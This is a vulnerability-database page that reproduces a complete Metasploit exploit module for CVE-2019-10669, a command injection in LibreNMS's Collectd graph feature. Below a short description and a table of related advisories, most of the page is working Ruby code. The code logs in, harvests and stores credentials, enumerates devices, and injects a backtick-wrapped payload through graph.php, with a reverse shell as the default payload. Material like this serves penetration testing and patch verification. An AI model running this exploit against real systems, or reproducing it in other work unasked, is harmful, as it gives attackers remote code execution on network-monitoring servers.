Lucene search
K

LibreNMS Collectd Command Injection Exploit

🗓️ 09 Sep 2019 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 26 Views

This module exploits a command injection vulnerability in the Collectd graphing functionality in LibreNMS. The 'to' and 'from' parameters used to define the range for a graph are sanitized using the mysqli_escape_real_string() function, which permits backticks. These parameters are used as part of a shell command that gets executed via the passthru() function, which can result in code execution

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2019-10669
6 Sep 201917:10
circl
CNVD
LibreNMS Command Injection Vulnerability
9 Sep 201900:00
cnvd
CVE
CVE-2019-10669
9 Sep 201912:46
cve
Cvelist
CVE-2019-10669
9 Sep 201912:46
cvelist
Exploit DB
LibreNMS - Collectd Command Injection (Metasploit)
10 Sep 201900:00
exploitdb
Metasploit
LibreNMS Collectd Command Injection
12 Aug 201920:22
metasploit
NVD
CVE-2019-10669
9 Sep 201913:15
nvd
Packet Storm
LibreNMS Collectd Command Injection
6 Sep 201900:00
packetstorm
Prion
Command injection
9 Sep 201913:15
prion
RedhatCVE
CVE-2019-10669
22 May 202504:54
redhatcve
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'LibreNMS Collectd Command Injection',
      'Description'    => %q(
        This module exploits a command injection vulnerability in the
        Collectd graphing functionality in LibreNMS.

        The `to` and `from` parameters used to define the range for
        a graph are sanitized using the `mysqli_escape_real_string()`
        function, which permits backticks. These parameters are used
        as part of a shell command that gets executed via the `passthru()`
        function, which can result in code execution.
      ),
      'License'        => MSF_LICENSE,
      'Author'         =>
      [
        'Eldar Marcussen', # Vulnerability discovery
        'Shelby Pace'      # Metasploit module
      ],
      'References'     =>
        [
          [ 'CVE', '2019-10669' ],
          [ 'URL', 'https://www.darkmatter.ae/xen1thlabs/librenms-command-injection-vulnerability-xl-19-017/' ]
        ],
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        =>
      [
        [ 'Linux',
          {
            'Platform'        =>  'unix',
            'Arch'            =>  ARCH_CMD,
            'DefaultOptions'  =>  { 'Payload' => 'cmd/unix/reverse' }
          }
        ]
      ],
      'DisclosureDate' => '2019-07-15',
      'DefaultTarget'  => 0
    ))

    register_options(
    [
      OptString.new('TARGETURI', [ true, 'Base LibreNMS path', '/' ]),
      OptString.new('USERNAME', [ true, 'User name for LibreNMS', '' ]),
      OptString.new('PASSWORD', [ true, 'Password for LibreNMS', '' ])
    ])
  end

  def check
    res = send_request_cgi!('method'  =>  'GET', 'uri'  =>  target_uri.path)
    return Exploit::CheckCode::Safe unless res && res.body.downcase.include?('librenms')

    about_res = send_request_cgi(
      'method'  =>  'GET',
      'uri'     =>  normalize_uri(target_uri.path, 'pages', 'about.inc.php')
    )

    return Exploit::CheckCode::Detected unless about_res && about_res.code == 200

    version = about_res.body.match(/version\s+to\s+(\d+\.\d+\.?\d*)/)
    return Exploit::CheckCode::Detected unless version && version.length > 1
    vprint_status("LibreNMS version #{version[1]} detected")
    version = Gem::Version.new(version[1])

    return Exploit::CheckCode::Appears if version <= Gem::Version.new('1.50')
  end

  def login
    login_uri = normalize_uri(target_uri.path, 'login')
    res = send_request_cgi('method' =>  'GET',  'uri' =>  login_uri)
    fail_with(Failure::NotFound, 'Failed to access the login page') unless res && res.code == 200

    cookies = res.get_cookies
    login_res = send_request_cgi(
      'method'    =>  'POST',
      'uri'       =>  login_uri,
      'cookie'    =>  cookies,
      'vars_post' =>
      {
        'username'  =>  datastore['USERNAME'],
        'password'  =>  datastore['PASSWORD']
      }
    )

    fail_with(Failure::NoAccess, 'Failed to submit credentials to login page') unless login_res && login_res.code == 302

    cookies = login_res.get_cookies
    res = send_request_cgi(
      'method'  =>  'GET',
      'uri'     =>  normalize_uri(target_uri.path),
      'cookie'  =>  cookies
    )
    fail_with(Failure::NoAccess, 'Failed to log into LibreNMS') unless res && res.code == 200 && res.body.include?('Devices')

    print_status('Successfully logged into LibreNMS. Storing credentials...')
    store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
    login_res.get_cookies
  end

  def get_version
    uri = normalize_uri(target_uri.path, 'about')

    res = send_request_cgi( 'method'  =>  'GET', 'uri' => uri, 'cookie' => @cookies )
    fail_with(Failure::NotFound, 'Failed to reach the about LibreNMS page') unless res && res.code == 200

    html = res.get_html_document
    version = html.search('tr//td//a')
    fail_with(Failure::NotFound, 'Failed to retrieve version information') if version.empty?
    version.each do |e|
      return $1 if e.text =~ /(\d+\.\d+\.?\d*)/
    end
  end

  def get_device_ids
    version = get_version
    print_status("LibreNMS version: #{version}")

    if version && Gem::Version.new(version) < Gem::Version.new('1.50')
      dev_uri = normalize_uri(target_uri.path, 'ajax_table.php')
      format = '+list_detail'
    else
      dev_uri = normalize_uri(target_uri.path, 'ajax', 'table', 'device')
      format = 'list_detail'
    end

    dev_res = send_request_cgi(
      'method'    =>  'POST',
      'uri'       =>  dev_uri,
      'cookie'    =>  @cookies,
      'vars_post' =>
      {
        'id'              =>  'devices',
        'format'          =>  format,
        'current'         =>  '1',
        'sort[hostname]'  =>  'asc',
        'rowCount'        =>  50
      }
    )

    fail_with(Failure::NotFound, 'Failed to access the devices page') unless dev_res && dev_res.code == 200

    json = JSON.parse(dev_res.body)
    fail_with(Failure::NotFound, 'Unable to retrieve JSON response') if json.empty?

    json = json['rows']
    fail_with(Failure::NotFound, 'Unable to find hostname data') if json.empty?

    hosts = []
    json.each do |row|
      hostname = row['hostname']
      next if hostname.nil?

      id = hostname.match('href=\"device\/device=(\d+)\/')
      next unless id && id.length > 1
      hosts << id[1]
    end

    fail_with(Failure::NotFound, 'Failed to retrieve any device ids') if hosts.empty?

    hosts
  end

  def get_plugin_info(id)
    uri = normalize_uri(target_uri.path, "device", "device=#{id}", "tab=collectd")

    res = send_request_cgi( 'method' => 'GET', 'uri' => uri, 'cookie' => @cookies )
    return unless res && res.code == 200

    html = res.get_html_document
    plugin_link = html.at('div[@class="col-md-3"]//a/@href')
    return if plugin_link.nil?

    plugin_link = plugin_link.value
    plugin_hash = Hash[plugin_link.split('/').map { |plugin_val| plugin_val.split('=') }]
    c_plugin = plugin_hash['c_plugin']
    c_type = plugin_hash['c_type']
    c_type_instance = plugin_hash['c_type_instance'] || ''
    c_plugin_instance = plugin_hash['c_plugin_instance'] || ''

    return c_plugin, c_type, c_plugin_instance, c_type_instance
  end

  def exploit
    req_uri = normalize_uri(target_uri.path, 'graph.php')
    @cookies = login

    dev_ids = get_device_ids

    collectd_device = -1
    plugin_name = nil
    plugin_type = nil
    plugin_instance = nil
    plugin_type_inst = nil
    dev_ids.each do |device|
     collectd_device = device
     plugin_name, plugin_type, plugin_instance, plugin_type_inst = get_plugin_info(device)
     break if (plugin_name && plugin_type && plugin_instance && plugin_type_inst)
     collectd_device = -1
    end

    fail_with(Failure::NotFound, 'Failed to find a collectd plugin for any of the devices') if collectd_device == -1
    print_status("Sending payload via device #{collectd_device}")

    res = send_request_cgi(
      'method'    =>  'GET',
      'uri'       =>  req_uri,
      'cookie'    =>  @cookies,
      'vars_get'  =>
      {
        'device'                =>  collectd_device,
        'type'                  =>  'device_collectd',
        'to'                    =>  Rex::Text.rand_text_numeric(10),
        'from'                  =>  "1`#{payload.encoded}`",
        'c_plugin'              =>  plugin_name,
        'c_type'                =>  plugin_type,
        'c_plugin_instance'     =>  plugin_instance,
        'c_type_instance'       =>  plugin_type_inst
      }
    )
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation